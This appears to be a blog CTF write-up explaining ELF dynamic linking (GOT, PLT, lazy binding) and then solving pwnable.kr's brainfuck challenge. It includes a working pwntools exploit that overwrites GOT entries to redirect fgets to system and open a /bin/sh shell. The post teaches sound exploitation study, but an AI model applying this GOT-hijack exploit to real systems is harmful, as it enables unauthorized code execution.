Pwn the GOT!

In this post we study how system handle dynamically linked functions (external functions). I will first illustrate the process of how system find the linked function address for a given elf. And I will play with a pretty simple ctf example to illustrate how we can hijack related data structure (GOT table) in order to achieve our goal.

Background

Since some of the functions are dynamically linked to the program (not included in the elf binary), the system kernel needs a strategy to dynamically call these functions from external libraries(e.g., libc). This strategy is called relocation. In every given ELF file we can observe that there are several sections. The sections that relate to relocation are .got and .plt and .got.plt [1].

  • .got: Global Offset Table. This is the actual table of offsets as filled in by the linker for external symbols.

  • .plt: Procedure Linkage Table. These are codes that look up the addresses in the .got.plt section. There can be two execution results for these codes. (i) If this is the first lookup (the address has not been filled into .got.plt yet), it will trigger the code in the linker to look up the address. (ii) If it is not the first time, it directly jumps to the right address.

  • .got.plt: This is the GOT for the PLT. It contains the target addresses (after they have been looked up) or an address back in the .plt to trigger the lookup. Classically, this data was part of the .got section.

Demonstrating the Relocation

Here we gdb a simple program to demonstrate how relocation happens.

1
2
3
4
5
6
7
//test.c
#include <stdio.h>
int main(){
printf("1234");
printf("5678");
return 0;
}

First, we step into the printf for 1234.
As we can see, call printf@plt will first go into the .plt sections. In this section, we found that it will dereference an pointer (rip+0x200c12) and jmp to it. We found that it will jump to the next instruction as shown in the picture, which corresponds to the first-time lookup code stub.

At 0x4003f0, I notice a combination (push,jmp) which is similar to the function calling proess. By info symbol the jmp address at 0x4003f6, I found the control flow will be jump to _dl_rumtime_resolve_xsave in .text. I guess this is the internal procedure of first-time lookup. We will not touch the detail of it since this is not the point in this post.

Then, I run the program into the second printf and examine the same thing. Something interesting happened! The program will still dereference a pointer (which is in fact stored in the .got.plt as shown in figure 2). However, this time, the pointer points directly to the libc, instead of the first-time lookup code stub. It means that the corresponding item in the .got.plt has been updated to point to the real printf function in the libc.

This process is called Lazy Binding, which accelerate the loading time for an elf (kernel only look up the address for external functions when they are used).

BrainFuck in Pwnable.kr

In this section, I will demonstrate how we hijack GOT to gain control flow of a vulnerable program. The vulnerable program on pwnable provides arbitrary write/read. So we can hijack the .got (which is in fact the .got.plt) to get shell. It is worth noting that memset and fgets share the same types of parameters, so they are suitable to be replaced as fgets and system.

With the help of IDA, we can easily locate the address of necessary functions in GOT. However, this is not enough. To replace runtime addr of fgets with runtime addr of system , we need one more info, i.e, we need the runtime address system in libc. This can be calculated by a runtime address of any function and its offset to system in libc (This program provide its libc.so for us).
So the attack steps are now clear:

Step 0, overwrite putchar to main
Step 1, overwrite memset to gets
Step 2, overwrite fgets to system
Step 3, call putchar(main) and send ‘/bin/sh’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
exp.py
from pwn import *

context.log_level = 'debug'
p = process('bf')
libc = ELF('bf_libc.so')
#p = remote('pwnable.kr',9001)

def back(n):
return '<'*n
def read(n):
return '.>'*n
def write(n):
return ',>'*n

putchar_got = 0x0804A030
ptr = 0x0804A0A0
main = 0x08048671

#read runtime addr of putchar
payload = back(ptr - putchar_got) + '.' + read(4) # . is for loading runtime addr

#overwrite putchar to main
payload += back(4+0) + write(4)

#overwrite memset to gets
payload += back(4+4) + write(4)

#overwrite gets to system
payload += back(28+4) + write(4)

#call putchar (main)
payload += '.'

p.recvuntil('[ ]\n')

p.sendline(payload)
p.recv(1) # junk data for .


putchar_libc = libc.symbols['putchar']
gets_libc = libc.symbols['gets']
system_libc = libc.symbols['system']
putchar_addr = u32(p.recv(4))
#gdb.attach(p)
p.send(p32(main))
p.send(p32(putchar_addr+gets_libc-putchar_libc))
p.send(p32(putchar_addr+system_libc-putchar_libc))

p.sendline('//bin/sh\0')
p.interactive()

Reference

[1] https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html